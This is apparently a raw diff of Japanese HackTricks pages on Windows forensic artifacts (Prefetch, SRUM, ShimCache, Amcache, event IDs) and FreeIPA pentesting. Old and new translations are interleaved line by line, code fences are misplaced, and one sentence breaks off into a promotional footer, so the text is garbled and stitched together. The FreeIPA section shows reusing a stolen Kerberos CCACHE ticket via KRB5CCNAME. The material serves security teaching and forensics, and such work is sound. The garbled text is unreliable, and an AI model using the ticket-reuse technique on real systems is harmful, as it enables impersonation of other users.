.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
```markdown
![](<../../../.gitbook/assets/image (487).png>)
### スーパープリフェッチ
**スーパープリフェッチ**は、プリフェッチと同じ目的を持ち、次に読み込まれるものを予測して**プログラムの読み込みを高速化**します。ただし、プリフェッチサービスを置き換えるものではありません。\
このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。
**スーパープリフェッチ**はプリフェッチと同じ目的を持っています。次にロードされるものを予測することで、**プログラムをより速くロードする**ことです。しかし、プリフェッチサービスを置き換えるものではありません。
このサービスは `C:\Windows\Prefetch\Ag*.db` にデータベースファイルを生成します。
これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、および**タイムスタンプ**が含まれています。
これらのデータベースには、**プログラム**の**名前**、**実行**の**回数**、**開かれた** **ファイル**、**アクセスされた** **ボリューム**、**完全な** **パス**、**時間枠**、**タイムスタンプ**が含まれています。
この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)というツールを使用してアクセスできます。
この情報にはツール [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) を使用してアクセスできます。
### SRUM
**システムリソース使用モニター**SRUMは、**プロセスが消費するリソース**を**監視**します。これはW8に登場し、データは`C:\Windows\System32\sru\SRUDB.dat`にあるESEデータベースに保存されます。
**システムリソース使用モニター** (SRUM) はプロセスによって**消費される** **リソース**を**監視**します。これはW8で登場し、データは `C:\Windows\System32\sru\SRUDB.dat` にあるESEデータベースに保存されます。
の情報を提供します:
以下の情報を提供します:
* AppIDとパス
* プロセスを実行したユーザー
* 送信バイト数
* 受信バイト数
* ネットワークインターフェース
* 接続期間
* プロセス期間
* 接続期間
* プロセス期間
この情報は60分ごとに更新されます。
このファイルからデータを取得するには、[**srum\_dump**](https://github.com/MarkBaggett/srum-dump)というツールを使用できます。
このファイルからデータを取得するには、ツール [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) を使用できます。
```
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCacheShimCache
### AppCompatCache (ShimCache)
**Shimcache**、または**AppCompatCache**は、**Microsoft**によって作成され、オペレーティングシステムがアプリケーションの互換性の問題を特定するために使用する**Application Compatibility Database**のコンポーネントです。
**Shimcache**、または **AppCompatCache** は、**Microsoft** によって作成された **Application Compatibility Database** の一部で、オペレーティングシステムがアプリケーションの互換性問題を特定するために使用されます。
キャッシュは、オペレーティングシステムによって異なるファイルのメタデータを保存します。以下の情報が含まれます。
キャッシュは、オペレーティングシステムに応じて様々なファイルメタデータを保存します。例えば:
- ファイルの完全なパス
- ファイルサイズ
- **$Standard\_Information**SIの最終更新時刻
- ShimCacheの最終更新時刻
- プロセスの実行フラグ
* ファイルの完全パス
* ファイルサイズ
* **$Standard\_Information** (SI) 最終変更時間
* ShimCache 最終更新時間
* プロセス実行フラグ
この情報は、レジストリ内の次の場所にあります。
この情報はレジストリ内にあります:
- `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
- XP96エントリ
- `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`
- Server 2003512エントリ
- 2008/2012/2016 Win7/Win8/Win101024エントリ
* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
* XP (96 エントリ)
* `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`
* Server 2003 (512 エントリ)
* 2008/2012/2016 Win7/Win8/Win10 (1024 エントリ)
この情報を解析するために、[**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser)ツールを使用できます。
この情報を解析するためにツール [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) を使用できます。
![](<../../../.gitbook/assets/image (488).png>)
### Amcache
**Amcache.hve**ファイルは、実行されたアプリケーションの情報を保存するレジストリファイルです。場所は`C:\Windows\AppCompat\Programas\Amcache.hve`です。
**Amcache.hve** ファイルは、実行されたアプリケーションの情報を保存するレジストリファイルです。`C:\Windows\AppCompat\Programas\Amcache.hve` に位置しています。
**Amcache.hve**は、実行されたプロセスの最近の履歴を記録し、実行されたプログラムを見つけるために使用されるファイルのパスをリストアップします。また、プログラムのSHA1も記録します。
**Amcache.hve** は最近実行されたプロセスを記録し、実行されたファイルのパスをリストアップします。これにより、実行されたプログラムを見つけることができます。また、プログラムの SHA1 も記録します。
この情報を解析するために、[**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。
この情報を解析するためにツール [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser) を使用できます。
```bash
AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum
```
最も興味深い生成されたCSVファイルは、「Amcache_Unassociated file entries」です。
```markdown
最も興味深いCVSファイルは、`Amcache_Unassociated file entries`です。
### RecentFileCache
このアーティファクトはW7の`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみ存在し、一部のバイナリの最近の実行に関する情報を含んでいます。
このアーティファクトはW7の`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`で見つけることができ、いくつかのバイナリの最近の実行に関する情報が含まれています。
ツール[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)を使用してファイルを解析できます。
ファイルを解析するために、ツール[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)を使用できます。
### スケジュールされたタスク
これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読み取ることができます。
これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出でき、XMLとして読むことができます。
### サービス
これらはレジストリの`SYSTEM\ControlSet001\Services`にあります。実行される内容と実行時刻を確認できます。
レジストリの`SYSTEM\ControlSet001\Services`で見つけることができます。何が実行されるか、いつ実行されるかを確認できます。
### **Windowsストア**
### **Windows Store**
インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\
このリポジトリには、データベース**`StateRepository-Machine.srd`**内のシステムにインストールされた**各アプリケーション****ログ**があります。
インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。
このリポジトリには、データベース**`StateRepository-Machine.srd`**内のシステムにインストールされた**各アプリケーション**に関する**ログ**があります。
このデータベースのApplicationテーブル内には、「Application ID」、「PackageNumber」、「Display Name」という列があります。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。
このデータベースのアプリケーションテーブル内では、"Application ID"、"PackageNumber"、"Display Name"の列を見つけることができます。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、アプリケーションがアンインストールされたかどうかを確認できます。なぜなら、インストールされたアプリケーションのIDは連続しているべきだからです。
また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内には、**インストールされたアプリケーション**が見つかります。\
そして、**アンインストールされたアプリケーション**は`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。
また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内で**インストールされたアプリケーション**を**見つける**ことができます。
そして、`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`で**アンインストールされた** **アプリケーション**を見つけることができます。
## Windowsイベント
Windowsイベントに表示される情報は次のとおりです。
Windowsイベント内に表示される情報は以下の通りです:
* 発生したこと
* タイムスタンプUTC + 0
* 何が起こったか
* タイムスタンプ (UTC + 0)
* 関与したユーザー
* 関与したホストホスト名、IP
* アクセスされたアセット(ファイル、フォルダ、プリンター、サービス)
* 関与したホスト (ホスト名、IP)
* アクセスされたアセット (ファイル、フォルダ、プリンター、サービス)
ログは、Windows Vistaより前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vistaより前では、イベントログはバイナリ形式であり、それ以降は**XML形式**であり、**.evtx**拡張子を使用します。
ログはWindows Vista以前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`に位置しています。Windows Vista以前ではイベントログはバイナリ形式で、それ以降は**XML形式**を使用し、**.evtx**拡張子を使用します。
イベントファイルの場所はSYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**に記載されています。
イベントファイルの場所はSYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**で見つけることができます。
Windowsイベントビューア**`eventvwr.msc`**や[**Event Log Explorer**](https://eventlogxp.com)や[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)****などの他のツールで表示することができます。
Windowsイベントビューア**`eventvwr.msc`**または[**Event Log Explorer**](https://eventlogxp.com) **や** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**などの他のツールから可視化できます。**
### セキュリティ
これにはアクセスイベントが登録され、セキュリティ設定に関する情報が`C:\Windows\System32\winevt\Security.evtx`に見つかります。
これはアクセスイベントを記録し、`C:\Windows\System32\winevt\Security.evtx`で見つけることができるセキュリティ設定に関する情報を提供します。
イベントファイルの**最大サイズ**は設定可能であり、最大サイズに達すると古いイベントが上書きされます。
イベントファイルの**最大サイズ**は設定可能で、最大サイズに達すると古いイベントを上書きし始めます。
次のように登録されるイベント
登録されたイベントは以下の通りです
* ログイン/ログオフ
* ユーザーの操作
* ユーザーのアクション
* ファイル、フォルダ、共有アセットへのアクセス
* セキュリティ設定の変更
ユーザー認証に関連するイベント:
| EventID | 説明 |
| EventID | 説明 |
| --------- | ---------------------------- |
| 4624 | 認証成功 |
| 4625 | 認証エラー |
| 4634/4647 | ログオフ |
| 4672 | 管理者権限でのログイン |
| 4624 | 認証成功 |
| 4625 | 認証エラー |
| 4634/4647 | ログオフ |
| 4672 | 管理者権限でのログイン |
EventID 4634/4647には興味深いサブタイプがあります
EventID 4634/4647には興味深いサブタイプがあります:
* **2 (interactive)**: キーボードやVNC、`PSexec -U-`などのソフトウェアを使用した対話型のログイン
* **3 (network)**: 共有フォルダへの接続
* **4 (Batch)**: 実行されたプロセス
* **5 (service)**: サービスがサービス制御マネージャーによって開始された
* **6 (proxy):** プロキシログイン
* **7 (Unlock)**: パスワードを使用して画面のロックを解除
* **8 (network cleartext)**: クリアテキストパスワードを送信して認証されたユーザー。このイベントは以前はIISから来ていました
* **9 (new credentials)**: `RunAs`コマンドが使用された場合や、ユーザーが異なる資格情報でネットワークサービスにアクセスした場合に生成されます。
* **10 (remote interactive)**: ターミナルサービスまたはRDPを介した認証
* **11 (cache interactive)**: ドメインコントローラに連絡できなかったため、最後にキャッシュされた資格情報を使用してアクセス
* **12 (cache remote interactive)**: キャッシュされた資格情報を使用してリモートでログイン10と11の組み合わせ
* **13 (cached unlock)**: キャッシュされた資格情報を使用してロックされたマシンを解除
* **2 (対話型)**: キーボードまたはVNCや`PSexec -U-`のようなソフトウェアを使用して対話型でログインしました。
* **3 (ネットワーク)**: 共有フォルダへの接続
* **4 (バッチ)**: 実行されたプロセス
* **5 (サービス)**: サービスコントロールマネージャーによって開始されたサービス
* **6 (プロキシ):** プロキシログイン
* **7 (アンロック)**: パスワードを使用して画面のロックを解除
* **8 (ネットワーククリアテキスト)**: ユーザーがクリアテキストパスワードを送信して認証されました。このイベントは通常IISから来ます。
* **9 (新しい資格情報)**: `RunAs`コマンドが使用されたり、ユーザーが異なる資格情報でネットワークサービスにアクセスしたときに生成されます。
* **10 (リモート対話型)**: ターミナルサービスまたはRDPを介した認証
* **11 (キャッシュ対話型)**: ドメインコントローラーに連絡できなかったため、最後にキャッシュされた資格情報を使用してアクセスしました。
* **12 (キャッシュリモート対話型)**: キャッシュされた資格情報を使用してリモートでログイン10と11の組み合わせ
* **13 (キャッシュアンロック)**: キャッシュされた資格情報を使用してロックされたマシンのロックを解除します。
この記事では、これらのログインタイプをすべて模倣する方法と、どのログインタイプでメモリから資格情報をダンプできるかを見つけることができます:[https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
この投稿では、これらのログインタイプをどのように模倣し、どのタイプでメモリから資格情報をダンプできるかを見つけることができます:[https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
イベントのステータスとサブステータス情報は、イベントの原因に関する詳細を示す場合があります。たとえば、Event ID 4625の次のステータスとサブステータスコードを参照してください:
イベントのステータスとサブステータス情報は、イベントの原因についての詳細を示すことができます。例えば、Event ID 4625の以下のステータスとサブステータスコードを見てください:
![](<../../../.gitbook/assets/image (455).png>)
### Windowsイベントの
### Windowsイベントの復
Windowsイベントを回復するためには、不審なPCの電源を**抜く**ことを強くお勧めします。削除された場合、[**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor)というツールを使用して回復を試みることができます。拡張子は**evtx**です。
疑わしいPCを**プラグを抜いて**オフにすることを強く推奨します。これにより、Windowsイベントを復旧する可能性が最大化されます。削除された場合、**evtx**拡張子を指定して試してみると便利なツールは[**Bulk_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor)です。
## Windowsイベントでの一般的な攻撃の特定
## Windowsイベントで一般的な攻撃を特定する
* [https://redteamrecipe.com/event-codes/](https://redteamrecipe.com/event-codes/)
### ブルートフォース攻撃
ブルートフォース攻撃は、**複数のEventID 4625が表示される**ため、簡単に特定できます。攻撃が**成功した場合**、EventID 4625の後に**EventID 4624が表示されます**。
ブルートフォース攻撃は、**複数のEventIDs 4625が表示される**ため、簡単に識別できます。攻撃が**成功した**場合、EventIDs 4625の後に**EventID 4624が表示されます**。
### 時間変更
### 時間変更
これはフォレンジックチームにとって非常に困難であり、すべてのタイムスタンプが変更されます。このイベントは、セキュリティイベントログ内のEventID 4616に記録されます。
これはフォレンジックチームにとって非常に悪いことです。なぜなら、すべてのタイムスタンプが変更されるからです。このイベントはセキュリティイベントログ内のEventID 4616によって記録されます。
### USBデバイス
次のシステムイベントIDが役立ちます:
以下のシステムEventIDsが役立ちます:
* 20001 / 20003 / 10000: 初めて使用されたとき
* 10100: ドライバ更新
* 10100: ドライバ更新
DeviceSetupManagerのイベントID 112には、挿入された各USBデバイスのタイムスタ
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
EventID 112のDeviceSetupManagerには、挿入された各USBデバイスのタイムスタンプが含まれています。
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
### オフ/オン
"Event Log"サービスのID 6005は、PCがオンになったことを示します。ID 6006は、オフになったことを示します。
### ログの削除
セキュリティイベントID 1102は、ログが削除されたことを示します。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksであなたの会社を広告したい**ですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。
* **ハッキングのトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
```

View file

@ -1,14 +1,14 @@
# FreeIPA ペントesting
# FreeIPA ペネトレーショテス
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、**Unix**環境の統合管理ソリューションとして主に使用される、Microsoft Windows **Active** **Directory**のオープンソースの**代替**です。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ会社**で働いていますか? **HackTricksにあなたの会社を広告したいですか** または、**PEASSの最新バージョンにアクセスしたい**、または**HackTricksをPDFでダウンロードしたいですか** [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。これは私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**に**フォローしてください。**
* **[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。**
</details>
@ -20,98 +20,91 @@
## 基本情報
これはMicrosoft WindowsのActive Directoryのオープンソースの**代替**であり、主に**Unix**環境の統合管理ソリューションとして使用されます。FreeIPAは、MITの**Kerberos**キー配布センターによってバックアップされた完全な**LDAPディレクトリ**インフラストラクチャを実装しています。Dogtag **Certificate System**を使用してCARA証明書の管理を行い、スマートカードを含む**マルチファクタ**認証を処理する能力を持っています。SSSDは、FreeIPAを標準のUnix認証プロセスに統合するために使用されます。
**Microsoft Windows Active Directory**のオープンソース**代替品**であり、主に**Unix**環境の統合管理ソリューションとして使用されます。Active Directoryと同様に、FreeIPAはMIT **Kerberos** Key Distribution Centerによって支えられた完全な**LDAPディレクトリ**インフラストラクチャを実装しています。CA & RA証明書管理のためにDogtag **Certificate System**を使用し、スマートカードを含む**多要素**認証を処理する能力を持っています。SSSDは、FreeIPAを標準のUnix認証プロセスに統合するために使用されます。
## フィンガープリント
## 指紋
### ファイル環境変数
### ファイル & 環境変数
* **`/etc/krb5.conf`** `krb5.conf`ファイルには、ドメインに**登録するために必要なKerberosクライアント情報**が含まれています。これには、興味のあるKerberosレルムのKDCと管理サーバーの**場所**、現在のレルムとKerberosアプリケーションのデフォルト、およびホスト名をKerberosレルムにマッピングする情報が含まれます。
* **`/etc/ipa/default.conf`** これは**IPAサーバーのデフォルト設定ファイル**であり、IPAクライアントとサーバーを実行する際に適用されるシステム全体のデフォルトを設定するために使用されます。
* **`/etc/krb5.keytab`** `krb5.keytab`ファイルは**ドメイン内のすべてのホストで必要**です。これはKDCへの**認証**プロセスの一部として必要です。
* **`KRB5CCNAME`** 設定されている場合、この変数は認証に使用される**CCACHEチケットの場所**を指します。
* **`KRB5_KTNAME`** 設定されている場合、この変数は認証に使用される**Keytabファイルの場所**を指します。
* **`KRB5_CONFIG`** 設定されている場合、この変数は**Kerberos設定**ファイルの場所を指します。
* **`KRB5_KDC_PROFILE`** 設定されている場合、この変数はKey Distribution Centerデーモンの追加の設定ディレクティブが含まれる**KDC設定**ファイルの場所を指します。
* **`KRB5RCACHETYPE`** この変数は、サーバーで使用する**リプレイキャッシュのデフォルトタイプ**を指定します。
* **`KRB5RCACHEDIR`** この変数は、サーバーが使用する**リプレイキャッシュのデフォルトディレクトリ**を指定します。
* **`KRB5_TRACE`** この変数は、トレースログ出力を書き込むための**ファイル名**を指定します。トレースログは、Kerberosライブラリによって内部で行われる決定を明らかにするのに役立ちます。
* **`KRB5_CLIENT_KTNAME`** この変数は、デフォルトのクライアントキーテーブルファイル名を設定します。
* **`KPROP_PORT`** この変数は、kpropが使用する**デフォルトのポート**を設定します。
* **`/etc/krb5.conf`:** `krb5.conf`ファイルには、**ドメインに登録される**ために必要なKerberosクライアント情報が含まれています。これには、関心のあるKerberosレルムのKDCおよび管理サーバーの**場所**、現在のレルムおよびKerberosアプリケーションのデフォルト、およびホスト名をKerberosレルムにマッピングするものが含まれます。
* **`/etc/ipa/default.conf`:** これは**IPAサーバーのデフォルト設定ファイル**であり、IPAクライアントとサーバーを実行する際に適用されるシステム全体のデフォルトを設定するために使用されます。
* **`/etc/krb5.keytab`:** `krb5.keytab`ファイルは、**ドメイン**内のすべてのホストで**必要**です。これは、KDCへの**認証**プロセスの一部として必要です。
* **`KRB5CCNAME`:** 設定されている場合、この変数は認証に使用される**CCACHEチケット****場所**を指します。
* **`KRB5_KTNAME`:** 設定されている場合、この変数は認証に使用される**Keytab**ファイルの**場所**を指します。
* **`KRB5_CONFIG`:** 設定されている場合、この変数は**Kerberos設定**ファイルの**場所**を指します。
* **`KRB5_KDC_PROFILE`:** 設定されている場合、この変数はKDC設定ファイルの**場所**を指します。これには、Key Distribution Centerデーモンの追加の設定ディレクティブが含まれています。
* **`KRB5RCACHETYPE`:** この変数は、サーバーで使用する**リプレイキャッシュのデフォルトタイプ**を指定します。
* **`KRB5RCACHEDIR`:** この変数は、サーバーが使用する**リプレイキャッシュのデフォルトディレクトリ**を指定します。
* **`KRB5_TRACE`:** この変数は、トレースログ出力を書き込む**ファイル名**を指定します。トレースログは、Kerberosライブラリによって内部的に行われた決定を明らかにするのに役立ちます。
* **`KRB5_CLIENT_KTNAME`:** この変数は、**デフォルトのクライアントkeytab**ファイル名を設定します。
* **`KPROP_PORT`:** この変数は、kpropが使用する**デフォルトのポート**を設定します。
### バイナリ
* **ipa** このバイナリは**FreeIPAドメインの管理**の標準です。ホスト、ユーザー、sudoルールなどを管理するために使用できます。
* **kdestroy** kdestroyバイナリは、ユーザーセッションで現在の**Kerberosチケットを破棄**するために使用されます。
* **kinit** kinitバイナリは、**Kerberosチケットを確立**または**更新**するために使用されます。
* **klist** klistバイナリは、使用中の**Kerberosチケット**とチケットがアクセス権を提供するプリンシパルを一覧表示します。
* **kpasswd** kpasswdコマンドは、Kerberosプリンシパルのパスワードを変更するために使用されます。kpasswdはまず現在のKerberosパスワードを要求し、次に新しいパスワードを2回ユーザーに要求し、パスワードが変更されます。
* **ksu** ksuは、現在の**ユーザーコンテキスト**を切り替えるためのsuバイナリの**代替**として使用できます。
* **kswitch** kswitchコマンドは、使用中の**資格情報キャッシュを切り替え**ます。
* **kvno** kvnoバイナリは、指定されたKerberosプリンシパルの**サービスチケット**を取得し、各チケットのキーバージョン番号を表示します。
* **ipa:** このバイナリは、**FreeIPAドメインを管理する**ための標準です。ホスト、ユーザー、sudoルールなどを管理するために使用できます。
* **kdestroy:** kdestroyバイナリは、ユーザーセッション内の現在の**Kerberosチケットを破棄**するために使用されます。
* **kinit:** kinitバイナリは、**Kerberosチケットを確立**または**更新**するために使用されます。
* **klist:** klistバイナリは、現在使用中の**Kerberosチケットをリスト**し、チケットがアクセスを提供するプリンシパルを表示します。
* **kpasswd:** kpasswdコマンドは、**Kerberosプリンシパルのパスワードを変更**するために使用されます。kpasswdは最初に現在のKerberosパスワードを求め、次に新しいパスワードを2回ユーザーに求め、パスワードが変更されます。
* **ksu:** Ksuは、現在の**ユーザーコンテキスト**を切り替えるために、suバイナリの**代替品**として使用できます。
* **kswitch:** kswitchコマンドは、現在使用中の**クレデンシャルキャッシュを切り替え**ます。
* **kvno:** kvnoバイナリは、指定された**Kerberosプリンシパル**の**サービスチケット**を取得し、それぞれのキーバージョン番号を出力します。
### ネットワーク
以下はFreeIPAサーバーの見た目です:
これはFreeIPAサーバーがどのように見えるかです:
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
## 認証
FreeIPAは**認証にKerberosを使用**しているため、このプロセスは**Active Directory**の**認証**と非常に似ています。ドメイン上のリソースにアクセスするためには、ユーザーはそのリソースに対して**有効なKerberosチケット**を持っている必要があります。これらのチケットは、FreeIPAドメインの設定に基づいて、さまざまな場所に保存されることがあります。
FreeIPAは**認証****Kerberosを使用**しているため、このプロセスは**Active Directory**の**認証**と非常に似ています。ドメイン上のリソースに**アクセス**するためには、そのリソースの**有効なKerberosチケット**をユーザーが持っている必要があります。これらのチケットは、FreeIPAドメインの設定に基づいて、さまざまな場所に保存されることがあります。
### **CCACHEチケットファイル**
チケットが**ディスク上のファイル**として**保存**される場合、標準の形式とタイプは**CCACHE**ファイルです。これはKerberosの資格情報を保存するためのシンプルなバイナリファイル形式です。これらのファイルは通常、**`/tmp`**に保存され、**600**のパーミッションでスコープが設定されています。攻撃者の観点からは、以下の理由で重要です:
チケットが**ディスク上のファイル**として**保存**されるように設定されている場合、標準の形式とタイプは**CCACHE**ファイルです。これはKerberosクレデンシャルを保存するためのシンプルなバイナリファイル形式です。これらのファイルは通常**`/tmp`**に保存され、**600**の権限でスコープされています。攻撃者の観点からは、以下の理由で重要です:
1. 有効なチケットは、対応するユーザーの平文の**パスワード**を必要とせずに**認証に利用**できます。
2. **CCACHE**チケットは非常に**移植性が高い**です。チケットをダウンロードして別のホストにロードすることができ、チケットを更新たは検証る必要はありません
1. 有効なチケットは、対応するユーザーのプレーンテキスト**パスワード**がなくても、**認証に利用**することができます。
2. **CCACHE**チケットは非常に**移植性が高い**です。チケットを更新したり、検証したりすることなく、別のホストにダウンロードしてロードすることができます。
CCACHEチケットの**解析**は、さまざまな方法で簡単に行うことができます。最も簡単な方法は、klistバイナリを使用して解析することです。
CCACHEチケットの**解析**は、さまざまな方法で簡単に実行できます。最もシンプルな方法は、klistバイナリで解析することです。
```
klist /tmp/krb5cc_0
```
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
攻撃者にとって、有効なCCACHEチケットの再利用は非常に簡単です。有効なCCACHEチケットを**再利用**するには、**KRB5CCNAME**を有効なチケットファイルの**パス**に**エクスポート**します。システムは環境変数を認識し、ドメインとのやり取り時にその認証資格情報を使用しようとします。
攻撃者にとって、CCACHEチケットを再利用することは非常に簡単です。有効なCCACHEチケットを**再利用**するには、**KRB5CCNAME**を有効なチケットファイルの**パス**に**エクスポート**します。システムは環境変数を認識し、ドメインとのやり取りを試みる際にその認証情報を使用しようとします。
```bash
export KRB5CCNAME=/tmp/krb5cc_0
klist
```
<figure><img src="../.gitbook/assets/image (175).png" alt=""><figcaption></figcaption></figure>
### **Unix Keyring**
### **Unixキーリング**
CCACHEチケットはLinuxの**keyring**に**保存**されることもあります。keyringは**カーネル**内に存在し、保存されたチケットの取得と使用を管理者がよりコントロールできるようにします。チケットは以下の異なる方法でスコープされます:
CCACHEチケットはLinuxのキーリングにも**保存**できます。キーリングはカーネル内に存在し、管理者には**保存されたチケットの取得と使用に対するより多くの制御権限が与えられます**。チケットは以下のような異なる方法でスコープを指定できます:
* **`KEYRING:name`:** チケットは特定の名前付きKeyringにスコープされます。
* **`KEYRING:process:name`:** チケットは特定のプロセスIDにスコープされます。
* **`KEYRING:thread:name`:** チケットは特定のスレッドにスコープされます。
* **`KEYRING:session:name`:** チケットは特定のユーザーセッションにスコープされます。
